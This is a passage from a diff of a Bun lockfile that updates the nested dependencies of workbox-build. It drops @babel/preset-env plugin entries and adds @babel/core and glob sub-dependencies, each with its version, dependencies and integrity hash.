"^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ=="], + "workbox-build/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.23.9", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20", "@babel/plugin-syntax-async-generators": "^7.8.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ=="], + "workbox-build/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.23.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw=="], + "workbox-build/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A=="], + "workbox-build/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.23.4", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-class-static-block": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.23.8", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-split-export-declaration": "^7.22.6", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/template": "^7.22.15" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.23.3", "", { "dependencies": { "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.23.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.23.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-json-strings": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.23.9", "", { "dependencies": { "@babel/helper-hoist-variables": "^7.22.5", "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-identifier": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.22.5", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-numeric-separator": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.23.4", "", { "dependencies": { "@babel/compat-data": "^7.23.3", "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-transform-parameters": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-syntax-optional-chaining": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-private-property-in-object": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.9.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0", "core-js-compat": "^3.34.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="], - - "workbox-build/@babel/preset-env/core-js-compat": ["core-js-compat@3.35.1", "", { "dependencies": { "browserslist": "^4.22.2" } }, "sha512-sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="], + "workbox-build/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="], "workbox-build/@rollup/plugin-replace/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="], @@ -7723,6 +7523,16 @@ "workbox-build/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + "workbox-build/glob/foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="], + + "workbox-build/glob/jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="], + + "workbox-build/glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], + + "workbox-build/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + + "workbox-build/glob/path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="], + "workbox-build/source-map/whatwg-url": ["whatwg-url@7.1.0", "", { "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", "webidl-conversions": "^4.0.2" } }, "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg=="], "wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.4.0", "", {}, 